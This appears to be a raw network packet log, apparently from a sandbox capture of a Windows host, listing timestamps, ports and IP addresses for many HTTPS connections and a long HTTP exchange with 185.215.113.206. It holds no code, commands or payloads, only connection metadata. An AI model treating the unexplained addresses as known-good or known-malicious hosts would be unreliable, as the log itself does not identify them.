Oct 30, 2024 23:11:43.634368896 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.634404898 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.634514093 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.648685932 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.648756981 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.648996115 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.652806997 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.652822971 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.653013945 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.653028965 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.653038979 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.653047085 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.653739929 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.653760910 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.653840065 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.654417992 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.654427052 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.655797005 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.655816078 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.655991077 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.656584024 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.656596899 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.682847977 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.682864904 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.682945967 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.683275938 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.683289051 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.684732914 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.684746027 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.684756994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.684798956 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.684838057 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.695863962 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.696315050 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.696342945 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.696860075 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.696866035 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.706581116 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.706593037 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.706604004 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.706615925 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.706643105 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.706671953 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717298031 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717319012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717355013 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717374086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717449903 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717500925 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717514992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717525959 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717554092 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717581987 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717636108 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717675924 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717703104 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717782974 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717791080 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717833996 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717838049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717850924 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.717876911 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.717889071 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.718142033 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.718152046 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.718185902 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.802843094 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.802876949 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.802912951 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.802921057 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.802942991 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.802948952 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.802967072 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.802995920 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.824460030 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.824508905 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.824517012 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.824553967 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.824564934 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.824573994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.824619055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.830638885 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.830713034 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.830776930 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.831059933 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.831059933 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.831078053 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.831089020 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.833894968 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.833924055 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.834000111 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.834150076 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.834163904 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.835362911 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835382938 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835417032 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.835444927 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.835586071 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835629940 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835640907 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835669994 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.835704088 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.835768938 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835779905 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835792065 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.835814953 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.835840940 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.836163998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.836182117 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.836209059 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.836230040 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.871953011 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.872311115 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.872327089 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.873894930 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.873987913 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.875195026 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.875277042 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.875430107 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.875441074 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.919393063 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.920429945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.920443058 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.920495987 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.920536041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.920546055 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.920581102 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.953730106 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953784943 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.953819036 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953859091 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.953941107 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953953028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953963041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953974962 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953986883 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.953988075 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.954034090 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.954163074 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.954221964 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.954240084 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.954248905 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.954265118 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.954281092 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.965970993 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.966507912 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.966536045 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.967422009 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.967430115 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.993377924 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.993416071 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.993433952 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.993478060 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.038373947 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.038445950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.038453102 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.038465977 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.038476944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.038481951 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.038505077 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.038525105 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.058105946 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.076175928 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.076493979 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.076513052 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.077539921 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.077610016 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.078785896 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.078864098 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.078989029 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.079132080 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.079341888 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.079368114 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.079381943 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.079627037 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.079639912 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.079741001 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.080084085 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.080163956 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.080275059 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.080583096 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.080699921 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.080760002 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.080780029 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.080904007 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.081036091 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.081105947 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.081140995 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.082510948 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.082575083 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.082956076 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.083100080 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.083111048 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.083220959 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.083282948 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.083384037 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.083544016 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.083563089 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.087014914 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.087218046 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.087241888 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.088686943 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.088816881 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.088874102 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.088943958 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.088953972 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.089176893 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.089240074 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.089627028 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.089669943 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.089731932 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.089762926 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.089780092 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.089976072 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.089994907 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.090410948 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.090468884 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.090750933 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.090838909 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.090863943 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.101789951 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.101926088 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.101968050 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.102062941 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.102086067 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.102099895 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.102121115 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.102128029 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.105325937 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.105365992 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.105436087 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.105616093 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.105633974 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.107162952 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:44.107197046 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:44.107393980 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:44.107572079 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:44.107585907 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:44.112422943 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.112446070 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.112566948 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.112831116 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.112859011 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.113028049 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.113087893 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.113099098 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.113292933 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.113311052 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.122515917 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.122529030 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.122531891 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.122534990 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.122546911 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.122555017 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.122791052 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.122802019 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.135334015 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.138140917 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.138195992 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.138210058 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.169394970 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.169404030 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.169543028 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.185010910 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.211566925 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.211690903 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.212407112 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.212939978 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.212951899 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.213536024 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.213587999 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.214246035 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.214659929 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.214674950 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.214968920 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.214996099 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.215003967 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.215055943 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.215061903 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.215118885 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.221499920 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.221522093 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.221898079 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.221913099 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222158909 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.222280979 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222306013 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222357035 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.222382069 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222387075 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222424984 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.222604036 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222675085 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222836971 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.222846985 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.222857952 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.223078012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223128080 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223139048 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223140955 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223177910 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223246098 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223258018 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223268986 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223293066 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223326921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223345995 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223386049 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223561049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223602057 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223609924 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223623037 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223634958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223649979 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223659992 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223690033 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.223763943 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223830938 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.223978043 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.224452019 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224482059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224494934 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224526882 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.224550009 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.224705935 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224720001 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224730968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224749088 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.224749088 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.224762917 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.224788904 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.225723982 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.225790024 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.226535082 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.226548910 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.226850033 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.226872921 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.226939917 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.227416992 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.227428913 CET	443	49944	23.55.178.243	192.168.2.5
